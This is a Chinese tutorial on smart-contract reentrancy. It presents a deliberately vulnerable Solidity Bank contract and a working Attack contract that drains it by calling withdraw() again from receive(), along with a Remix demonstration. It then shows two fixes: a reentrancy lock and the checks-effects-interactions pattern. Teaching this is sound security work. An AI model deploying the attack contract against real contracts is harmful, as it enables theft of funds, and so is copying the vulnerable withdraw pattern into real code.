Cover photo

智能合约安全威胁-重入攻击

智能合约重入攻击是智能合约中最常见的一种攻击,攻击者通过漏洞例如(fallback函数)循环调用合约,将合约中的资产转走或者铸造大量代币.

什么是重入攻击:在以太坊智能合约中,合约能够调用和利用其他外部合约的代码,合约在正常执行期间可以通过执行函数或者简单的转移以太币来执行对其他合约的调用。这些外部调用可以被攻击者劫持,从而强制合约执行下一步代码(即通过fallback函数)包括回调自身

下面我们通过合约代码在remix上在线演示一下,并介绍两种预防办法:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract Bank {
    mapping (address => uint256) public balanceOf;    // 余额mapping

    // 存入ether,并更新余额
    function deposit() external payable {
        balanceOf[msg.sender] += msg.value;
    }

    // 提取msg.sender的全部ether
    function withdraw() external {
        // 获取余额
        uint256 balance = balanceOf[msg.sender];
        require(balance > 0, "Insufficient balance");
        // 转账 ether !!! 可能激活恶意合约的fallback/receive函数,有重入风险!
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");
        // 更新余额
        balanceOf[msg.sender] = 0;
    }

    // 获取银行合约的余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

contract Attack {
    Bank public bank; // Bank合约地址

    // 初始化Bank合约地址
    constructor(Bank _bank) {
        bank = _bank;
    }
    
    // 回调函数,用于重入攻击Bank合约,反复的调用目标的withdraw函数
    receive() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw();
        }
    }

    // 攻击函数,调用时 msg.value 设为 1 ether
    function attack() external payable {
        require(msg.value == 1 ether, "Require 1 Ether to attack");
        bank.deposit{value: 1 ether}();
        bank.withdraw();
    }

    // 获取本合约的余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

这段代码就是演示如何进行重入攻击,有两个合约,Bank合约,Attack合约。

  1. Bank合约扮演类似银行的角色,每个账户的地址对应一笔属于自己的余额

    1. deposit是存款方法

    2. withdraw是取款方法,这个方法中要注意msg.sender.call{vlaue: balance}(““)

      call 是address类型的低级成员函数,它是用来与其他合约进行合约交互的。返回值为(bool, data),分别对应call是否成功以及目标函数的返回值。call是solidity官方推荐的通过触发fallback或receive函数发送ETH方法.

      当call调用外部合约不存在的方法的时候,就会触发外部合约的receive函数或者fallback函数。这也是重入攻击的重点!

Attack合约扮演攻击者的角色,同时扮演一个正常取款人的角色

  1. attack函数的逻辑如下

    1. 先通过bank.deposit()函数存入一笔攻击费用,目的是绕过bank合约的require()方法的校验。

    2. 其次通过bank.withdraw方法进行取款操作,当方法执行到msg.sender.call的时,触发attack合约的receive函数,从而开始递归循环调用,一直将bank合约的余额全部取出

  2. receive函数是Attack合约用于在外部合约调用本合约不存在的方法的时触发的

Remix在线演示

  • 部署Bank合约,调用deposit函数,转入3ETH

post image

*

  • 切换到攻击者账户,部署Attack合约

post image

*

  • 调用Attack合约的attack()函数发动攻击,调用时需转账1 ETH

post image

*

  • 调用Bank合约的getBalance函数,发现余额已经被提空

post image

*

  • 调用Attack合约的getBalance方法,可以看到余额变为4ETH,从而完成重入攻击

post image

预防办法一般由两种方式:重入锁和检查-影响-交互模式

  1. 重入锁

    重入锁是一种防止重入函数的修饰器modifier,它包含一个默认为0的状态变量_status,当nonReentrant重入锁修饰的函数,在第一次调用的时候会检查_status是否为0,紧接着将_status的值改为1,调用结束之后才改为0.

    uint256 private _status; // 重入锁
    
    // 重入锁
    modifier nonReentrant() {
        // 在第一次调用 nonReentrant 时,_status 将是 0
        require(_status == 0, "ReentrancyGuard: reentrant call");
        // 在此之后对 nonReentrant 的任何调用都将失败
        _status = 1;
        _;
        // 调用结束,将 _status 恢复为0
        _status = 0;
    }
    

只需要用nonReentant重入锁修饰的withdraw函数,就可以防重入攻击了.


// 用重入锁保护有漏洞的函数
function withdraw() external nonReentrant{
    uint256 balance = balanceOf[msg.sender];
    require(balance > 0, "Insufficient balance");

    (bool success, ) = msg.sender.call{value: balance}("");
    require(success, "Failed to send Ether");

    balanceOf[msg.sender] = 0;
}
  1. 检查- 影响-交互模式

检查-影响-交互模式强调编写函数时,要先检查状态变量是否符合要求,紧接着更新状态变量(例如余额),最后再和别的合约交互。如果我们将Bank合约withdraw()函数中的更新余额提前到转账ETH之前,就可以修复漏洞.

function withdraw() external {
    uint256 balance = balanceOf[msg.sender];
    require(balance > 0, "Insufficient balance");
    // 检查-效果-交互模式(checks-effect-interaction):先更新余额变化,再发送ETH
    // 重入攻击的时候,balanceOf[msg.sender]已经被更新为0了,不能通过上面的检查。
    balanceOf[msg.sender] = 0;
    (bool success, ) = msg.sender.call{value: balance}("");
    require(success, "Failed to send Ether");
}

总结: 实际业务中,用重入锁保护所有可能改变合约状态的external函数,虽然可能会消耗更多的gas,但是可以预防更大的损失!